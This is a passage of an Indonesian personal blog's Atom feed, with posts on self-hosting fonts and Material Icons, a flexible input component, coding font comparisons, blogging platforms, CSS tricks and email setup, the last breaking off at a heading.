&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&amp;quot;preconnect&amp;quot; href=&amp;quot;https://fonts.googleapis.com&amp;quot;/&amp;gt;
&amp;lt;link rel=&amp;quot;preconnect&amp;quot; href=&amp;quot;https://fonts.gstatic.com&amp;quot; crossorigin/&amp;gt;
&amp;lt;link href=&amp;quot;https://fonts.googleapis.com/css2?family=Noto+Serif:wght@400;700&amp;amp;display=swap&amp;quot; rel=&amp;quot;stylesheet&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Atau pasang dengan cara self-hosting iconnya seperti ini&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &#39;Noto Serif&#39;;
  font-style: normal;
  font-weight: 400;
  font-stretch: 100%;
  font-display: swap;
  src: url(“../NotoSerif-Regular.woff2”) format(&#39;woff2&#39;);
}
@font-face {
  font-family: &#39;Noto Serif&#39;;
  font-style: normal;
  font-weight: 700;
  font-stretch: 100%;
  font-display: swap;
  src: url(“../NotoSerif-Bold.woff2”) format(&#39;woff2&#39;);
}
body {
  font-family: &#39;Noto Serif&#39;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;material-icons&quot; tabindex=&quot;-1&quot;&gt;Material Icons&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#material-icons&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;https://fonts.googleapis.com/icon?family=Material+Icons&amp;quot; rel=&amp;quot;stylesheet&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Atau pasang dengan cara self-hosting iconnya seperti ini&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &#39;Material Icons&#39;;
  font-style: normal;
  font-weight: 400;
  src: url(../MaterialIcons-Regular.woff2) format(&#39;woff2&#39;);
}
.material-icons {
  font-family: &#39;Material Icons&#39;;
  font-weight: normal;
  font-style: normal;
  font-size: 24px;  /* Preferred icon size */
  display: inline-block;
  line-height: 1;
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  /* Support for all WebKit browsers. */
  -webkit-font-smoothing: antialiased;
  /* Support for Safari and Chrome. */
  text-rendering: optimizeLegibility;
  /* Support for Firefox. */
  -moz-osx-font-smoothing: grayscale;
  /* Support for IE. */
  font-feature-settings: &#39;liga&#39;;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;material-design-color-palettes&quot; tabindex=&quot;-1&quot;&gt;Material Design color palettes&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#material-design-color-palettes&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Cara Menggunakan cukup kunjungi website-nya &lt;a href=&quot;https://m2.material.io/design/color/the-color-system.html#tools-for-picking-colors&quot;&gt;di sini&lt;/a&gt; dan salin kode hex-nya.
Cara menggunakan hex warna di CSS cukup hanya menyalin contoh &lt;code&gt;color: #FFEBEE&lt;/code&gt;.
Sementara di Flutter adalah dengan &lt;code&gt;Color(0xFF[Hex])&lt;/code&gt;, contoh &lt;code&gt;Color(0xFFFFEBEE)&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Membuat Komponen Input yang Fleksibel untuk Desain Apapun</title>
		<link href="https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/"/>
		<updated>2024-09-10T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;spellcheck-dan-autocomplete&quot; tabindex=&quot;-1&quot;&gt;Spellcheck dan Autocomplete&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/#spellcheck-dan-autocomplete&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hampir semua browser modern menggunakan dua fitur HTML ini, pertama spellcheck berguna untuk mengecek typo yang user tulis ke inputan, dengan cara membandingkan value dengan kamus yang browser miliki. Sayangnya, fitur ini jarang disetel oleh user awam, menjadikan error spellcheck tampil terus menerus di inputan jika user menggunakan bahasa berbeda dengan setelan browser.
Kedua autocomplete, berguna untuk mempermudah inputan dengan cara menyimpan data setelah pertama kali dikenali oleh browser. Biasanya data yang umum digunakan pada website, seperti nama, alamat, nomor telepon, dll. Dalam beberapa kasus autocomplete banyak kekurangannya, seperti popup yang menampilkan data sensitif dan bukan yang ingin ditulis terekam saat menggunakan tertangkap layar, lalu beberapa kasus hack dilaporkan memanfaatkan fitur ini dan dugaan data yang dimanfaatkan oleh browser.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type={type} spellCheck=”false” autoComplete=”off” /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;bungkus-dengan-label-dan-div&quot; tabindex=&quot;-1&quot;&gt;Bungkus Dengan label dan div&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/#bungkus-dengan-label-dan-div&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Membungkus input dengan div lalu bungkus lagi dengan label membuat inputan menjadi fleksibel. Alasan kenapa menggunakan elemen label adalah justru struktur inputan di dalam label dianggap semantik, agar elemen dikenali oleh browser. Dan menggunakan div setelah memiliki label menjadikan bungkus kedua menjadikan komponen ini benar-benar sangat fleksibel dalam skenario desain apapun.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;input type={type} /&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/label&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;contoh-penggunaan-dengan-label-dan-button-bersamaan&quot; tabindex=&quot;-1&quot;&gt;Contoh penggunaan dengan label dan button bersamaan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/#contoh-penggunaan-dengan-label-dan-button-bersamaan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label class=”flex flex-col”&amp;gt;
{label &amp;amp;&amp;amp; &amp;lt;p&amp;gt;{label}&amp;lt;/p&amp;gt;}
&amp;lt;div class=”flex”&amp;gt;
&amp;lt;input type={type} /&amp;gt;
{ postIcon &amp;amp;&amp;amp; &amp;lt;button type=”button”&amp;gt;
&amp;lt;span class=”material-icons”&amp;gt;visibility_off&amp;lt;/span&amp;gt;
&amp;lt;/button&amp;gt; }
&amp;lt;/div&amp;gt;
&amp;lt;/label&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;contoh-penggunaan-checkbox-dengan-pesan-error-bersamaan&quot; tabindex=&quot;-1&quot;&gt;Contoh penggunaan checkbox dengan pesan error bersamaan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun/#contoh-penggunaan-checkbox-dengan-pesan-error-bersamaan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label class=”flex flex-col”&amp;gt;
&amp;lt;div class=”flex”&amp;gt;
&amp;lt;input type=”checkbox” checked={checked} onChange={onChange} /&amp;gt;
&amp;lt;p&amp;gt;{label}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
{isError &amp;amp;&amp;amp; &amp;lt;p&amp;gt;Silakan pilih&amp;lt;/p&amp;gt;}
&amp;lt;/label&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	<entry>
		<title>Membandingkan 3 Font yang Mudah Dibaca untuk Koding</title>
		<link href="https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/"/>
		<updated>2024-09-10T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/</id>
		<language>id-ID</language>
			<category term ="Productivity" />
		<content type="html">&lt;p&gt;Untuk membandingkan perlu parameter untuk mengetahui fitur ideal yang dimiliki font untuk koding, sedangkan saya kurang berkompeten untuk membuatnya sendiri, jadi saya mendeskripsikan ulang fitur-fitur milik Jetbrains Mono sebagai pertimbangan untuk ketiga font ini.&lt;/p&gt;
&lt;h2 id=&quot;ukuran-lebar-and-tinggi-huruf&quot; tabindex=&quot;-1&quot;&gt;Ukuran Lebar &amp;amp; Tinggi Huruf&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/#ukuran-lebar-and-tinggi-huruf&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ukuran lebar beberapa huruf JetBrains Mono lebih sempit dibanding Fira Code, tetapi Iosevka paling sempit dari ketiganya, ini faktor yang membuat Iosevka paling tajam untuk dibaca.
Lalu JetBrains Mono menambah ukuran tinggi beberapa huruf lowercase, tapi pada beberapa huruf, Fira Code dan Iosevka terlihat lebih tinggi.
Contoh perbandingan sebagai kelebihan, Consolas yang hurufnya lebih lebar tetap terlihat kecil dibanding JetBrains yang lebih sempit namun lebih tinggi.&lt;/p&gt;
&lt;h2 id=&quot;lurus-secara-vertical&quot; tabindex=&quot;-1&quot;&gt;Lurus Secara Vertical&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/#lurus-secara-vertical&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kelebihan utama menggunakan font berjenis monospaced adalah lebar ruang huruf yang tetap sehingga mudah dibaca secara horizontal dan terlebih vertical, ini adalah alasan utama untuk tidak menggunakan font berjenis serif maupun sans-serif. JetBrains dilansir memiliki lebar huruf yang sama di setiap ruang hurufnya, Fira Code dan Iosevka tidak mendeskripsikan fitur ini, namun Iosevka terlihat memiliki ruang dan lebar huruf yang paling sempit, juga huruf yang paling tipis dari ketiganya.&lt;/p&gt;
&lt;h2 id=&quot;pembedaan-antar-huruf&quot; tabindex=&quot;-1&quot;&gt;Pembedaan Antar Huruf&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/#pembedaan-antar-huruf&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pembeda antar huruf diperlukan untuk memudahkan pembacaan huruf yang mirip seperti i, l 1, dan I. JetBrains justru mendeskripsikan ujung huruf yang tidak keriting sebagai faktor mudah dibaca untuk beberapa hurufnya, sementara Fira Code yang paling banyak menggunakan ujung huruf yang keriting, dan Iosevka yang memiliki ujung huruf keriting yang paling panjang.&lt;/p&gt;
&lt;h2 id=&quot;penggunaan-ligature&quot; tabindex=&quot;-1&quot;&gt;Penggunaan Ligature&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding/#penggunaan-ligature&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya tidak gemar menggunakan ligature karena merasa ligature tidak mempermudah pembacaan kode, justru menurut saya membuat bingung saat membaca, menyeleksi dan menghapusnya. JetBrains Mono memiliki fitur ligature, Fira Code memiliki fitur ligature yang dapat dinonaktifkan per-simbol, sementara Iosevka yang paling spesial karena semua karakter seperti huruf, angka dan simbol bisa diubah menggunakan customizer-nya yang saya cantumkan tautannya di bawah ini.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JetBrains/JetBrainsMono&quot;&gt;JetBrains Mono&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tonsky/FiraCode&quot;&gt;Fira Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/be5invis/Iosevka&quot;&gt;Iosevka&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://typeof.net/Iosevka/customizer&quot;&gt;Iosevka Customizer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	<entry>
		<title>Dilema Saya dalam Menentukan Platform Blog untuk Menulis</title>
		<link href="https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/"/>
		<updated>2024-09-08T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya menyukai bacaan termasuk tulisan saya sendiri, sayangnya saya masih merasa sulit menentukan detik pertama setiap menulis. Saya rasa kesulitan ini dapat dibiasakan, kebiasaan ini dapat dimanfaatkan, manfaat ini bisa menguntungkan untuk saya di masa mendatang.&lt;/p&gt;
&lt;h2 id=&quot;medium&quot; tabindex=&quot;-1&quot;&gt;Medium&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/#medium&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Medium adalah platform blog yang populer saat ini. Diperlukan akun untuk membaca dan menulis artikel, sedangkan membership diperlukan untuk membaca artikel yang member-only, membership juga syarat jika pembaca adalah penulis yang ingin tulisannya menghasilkan. Membership medium seharga 5$ perbulan atau 60$ jika pertahun. Dari beberapa sumber yang saya baca, pendapatan per-view sekitar 0.01-0.03$ atau 10-30$ jika laman dibaca sebanyak 1000 kali.&lt;/p&gt;
&lt;h2 id=&quot;devto&quot; tabindex=&quot;-1&quot;&gt;dev.to&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/#devto&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dev.to adalah platform blog khusus untuk para developer, banyak artikel terkait dunia IT ditulis oleh orang-orang, dari software sampai hardware, dari yang mendasar sampai yang mendetail. Beberapa manfaat menulis di dev.to diantaranya pertama tentu sebagai jurnal jalur pembelajaran, sebagai portfolio, juga berinteraksi ke sesama penggiat IT yang mungkin menjadi peluang karir.&lt;/p&gt;
&lt;h2 id=&quot;self-hosting&quot; tabindex=&quot;-1&quot;&gt;Self-hosting&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis/#self-hosting&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Namun untuk saat ini saya lebih memilih self-hosting untuk menunjukkan keseriusan saya dalam memulai membangun identitas. Manfaatnya kecilnya adalah saya membayar lebih sedikit, kekurangannya adalah saya masih perlu platform tambahan untuk muncul di keramaian. Saya berharap ini bisa bermanfaat.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Aplikasi WYSIWYG Email Harus Dibuat Versi Android-nya</title>
		<link href="https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/"/>
		<updated>2024-09-08T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sampai pada pembaruan terakhir, aplikasi pembuat template email ini masih sangat ringkas, saya pikir akan cocok jika dibuat versi mobilenya. Jika diwujudkan dengan fitur yang sekarang, aplikasi ini memiliki potensi untuk bersaing dengan kompetitor yang telah lebih dulu hadir dan dengan fitur yang sudah dibandrol.&lt;/p&gt;
&lt;h2 id=&quot;simpel-dan-kompleks&quot; tabindex=&quot;-1&quot;&gt;Simpel dan Kompleks&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/#simpel-dan-kompleks&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kompleksitas aplikasi ini bergantung pada kustomisasi pengguna. Kebutuhan pengguna yang bermacam-macam dari mulai penggunaan personal sampai bisnis tentu semakin terbantu jika aplikasi pendukung pekerjaannya dapat diakses secara mobile.&lt;/p&gt;
&lt;h2 id=&quot;internet-hanya-jika-diperlukan&quot; tabindex=&quot;-1&quot;&gt;Internet Hanya Jika Diperlukan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/#internet-hanya-jika-diperlukan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Aplikasi ini membutuhkan koneksi internet hanya untuk memuat aset gambar jika menggunakan tautan eksternal, jika tidak, gambar hanya tidak dapat dimuat, dengan aplikasi yang tetap bisa dijalankan, ini yang saya maksud mobilitas.&lt;/p&gt;
&lt;h2 id=&quot;mudah-dioperasikan&quot; tabindex=&quot;-1&quot;&gt;Mudah Dioperasikan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya/#mudah-dioperasikan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Secara spesifikasi aplikasi ini nantinya sangat ringan, dibuat menggunakan aplikasi flutter yang hingga saat ini masih memimpin secara performa dibanding framework lain dalam pengembangan aplikasi mobile.
Dan secara tampilan akan mengikuti versi web yang sudah dibuat ringkas, terkesan kompleks, dengan pilihan kustomisasi yang banyak.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>5 Trik CSS agar Tampilan Front-end Mirip dengan Desain Mockup</title>
		<link href="https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/"/>
		<updated>2024-09-12T00:00:00+07:00</updated>
		<id>https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Implementasi tampilan website yang diharuskan sesuai dengan desain mockup dari designer seringkali membuat saya sebagai Front-end kewalahan sehingga memperlambat waktu development. Menjadikan saya memiliki property andalan yang fleksibel untuk banyak kasus, dan inilah lima diantaranya.&lt;/p&gt;
&lt;h2 id=&quot;1-display-flex&quot; tabindex=&quot;-1&quot;&gt;1. display: flex&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#1-display-flex&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Karena terlampau sering, hampir semua kasus design dapat dituntaskan dengan penggunaan property display: flex.&lt;/p&gt;
&lt;h2 id=&quot;2-pseudo-before-and-after&quot; tabindex=&quot;-1&quot;&gt;2. Pseudo ::before &amp;amp; ::after&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#2-pseudo-before-and-after&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dalam contoh kasus seperti background blur di area tertentu, dan dekorasi di sudut-sudut komponen, tidak ada yang lebih fleksibel dari pseudo, seperti membuat elemen tanpa elemen. Penggunaan psuedo harus disertai property content walaupun value kosong untuk berhasil.&lt;/p&gt;
&lt;h2 id=&quot;3-calc&quot; tabindex=&quot;-1&quot;&gt;3. calc()&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#3-calc&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Penggunaan value calc() tidak hanya untuk responsifitas halaman situs, dalam banyak kasus kita perlu membuat komponen yang ukurannya menyesuaikan komponen lain, solusinya adalah value calc() yang penggunannya seperti “calc(100dvh - 100px)”, juga bisa ditumpuk seperti “calc((100% - 10px) + 100px)”&lt;/p&gt;
&lt;h2 id=&quot;4-clip-path&quot; tabindex=&quot;-1&quot;&gt;4. clip-path&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#4-clip-path&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Desain web pada dasarnya hanyalah kotak-kotak yang memiliki konten di dalamnya. Ada kalanya kita mendapati desain yang bentuknya tidak kotak dan tidak bisa diakali dengan property border-radius. Penggunaan property clip-path yang jarang membuat kesenangan dalam menggunakan property ini terasa eksklusif.&lt;/p&gt;
&lt;h2 id=&quot;5-angka-cantik&quot; tabindex=&quot;-1&quot;&gt;5. Angka Cantik&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup/#5-angka-cantik&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Trik terakhir ini perlu waktu untuk diterapkan karena terkait dengan rasa. Terkadang desainer justru yang memberi kita angka yang tidak digunakan dalam mendesain contohnya 5, 13, atau 17 yang lebih baik jika diterapkan dengan 6, 12, dan 16. Angka-angka ini banyak digunakan seperti resolusi monitor umum, ukuran font menulis. Docs di berbagai framework CSS membuat kita mengerti cara penggunaannya.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Ini Alasan Saya Memutuskan untuk Aktif Menulis Blog</title>
		<link href="https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/"/>
		<updated>2024-09-04T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Menulis adalah hobi yang saya aktif lakukan saat remaja, dari menulis saya mengenal banyak hal seperti desain dan programming. Platform Blogger yang banyak orang gunakan pada saat itu, memperkenalkan saya ke orang-orang yang sehobi dan membuat saya ingin mendesain template blog yang menarik, hal inilah yang membuat saya ketagihan untuk belajar Programming.&lt;/p&gt;
&lt;h2 id=&quot;saya-punya-jurnal&quot; tabindex=&quot;-1&quot;&gt;Saya Punya Jurnal&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/#saya-punya-jurnal&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Menulis untuk saya adalah jurnal sebagai pengingat seperti apa yang akan saya kerjakan nanti, pengalaman apa yang saya dapat dari yang sudah dikerjakan sebelumnya, atau sekedar hal yang saya suka dan tidak, juga hal terbaru dan yang sedang tren. Saya berharap untuk lebih banyak hal yang bisa saya ceritakan dengan lebih luwes, tidak banyak waktu untuk berpikir dan lebih santai untuk menceritakannya di waktu yang tepat.&lt;/p&gt;
&lt;h2 id=&quot;rencana-lebih-terstruktur&quot; tabindex=&quot;-1&quot;&gt;Rencana Lebih Terstruktur&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/#rencana-lebih-terstruktur&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya sering menulis soal apa yang ingin saya kerjakan, gambaran yang sudah terpikir ingin langsung saya tulis agar bisa tersusun menjadi rencana yang bisa saya kerjakan kedepannya. Bukankah kita sering terpikir hal yang kita anggap menarik namun lepas begitu saja karna hal tersebut bukan dalam priotitas pada saat itu, hal ini bisa diminimalisir dengan menulis. Dengan menuliskannya, saya bisa menyusun ide mana yang perlu dan tidak, rencana saya jadi lebih masuk akal dan lebih mudah untuk diimplementasi.&lt;/p&gt;
&lt;h2 id=&quot;untuk-bercerita&quot; tabindex=&quot;-1&quot;&gt;Untuk Bercerita&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/ini-alasan-saya-memutuskan-untuk-aktif-menulis-blog/#untuk-bercerita&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dengan menulis saya bisa mengungkapkan apa yang saya rasakan akan suatu hal dengan jujur tanpa ada bias dari siapapun dan apapun. Saya bisa menilai sesuatu dari perspektif saya, dan punya waktu untuk coba mengerti sudut pandang yang lain.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Kenapa Masih Email dan Cara agar Email Tidak Dianggap Spam</title>
		<link href="https://hariswah.idin.my.id/blog/kenapa-masih-email-dan-cara-agar-email-tidak-dianggap-spam/"/>
		<updated>2024-09-03T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/kenapa-masih-email-dan-cara-agar-email-tidak-dianggap-spam/</id>
		<language>id-ID</language>
			<category term ="Productivity" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/kenapa-masih-email-dan-cara-agar-email-tidak-dianggap-spam/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Menggunakan email sebagai sarana promosi sepeti pisau bermata dua, kelebihannya adalah biaya yang relatif murah dan proses terusannya yang mudah, namun kekurangannya ada 2 opsi bagi pelanggan yang terganggu untuk melakukan satu langkah keluar dari jangkauan pengirim, yaitu Unsubscribe dan Report to spam.&lt;/p&gt;
&lt;p&gt;Saya menggunakan tier gratis yang disediakan Zoho sebagai hosting email, perusahaan penyedia software bisnis asal India, saya tinggal menambahkan beberapa DNS record yang diperlukan.&lt;/p&gt;
&lt;p&gt;Untuk DNS Management saya menggunakan CloudFlare dengan tier gratis, saya ingin memanfaatkan SSL yang bisa dihubungkan ke Vercel, karena saya tidak menyertakan SSL saat pembelian domain.&lt;/p&gt;
&lt;p&gt;Vercel saya gunakan sebagai platform deploy yang secara default sudah terintegrasi dengan github agar pengalaman development lebih nyaman karena localhost, saya gunakan tier gratisnya juga.&lt;/p&gt;
&lt;p&gt;Semua proses awal pada ketiga platform tersebut memerlukan waktu, termasuk waktu propagasi saat pergantian DNS, jadi tidak sulit tapi tidak mudah. Jika semuanya sudah berjalan, maka penerimaan dan pengiriman email akan berjalan lancar.&lt;/p&gt;
&lt;h2 id=&quot;masalahnya&quot; tabindex=&quot;-1&quot;&gt;Masalahnya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/kenapa-masih-email-dan-cara-agar-email-tidak-dianggap-spam/#masalahnya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
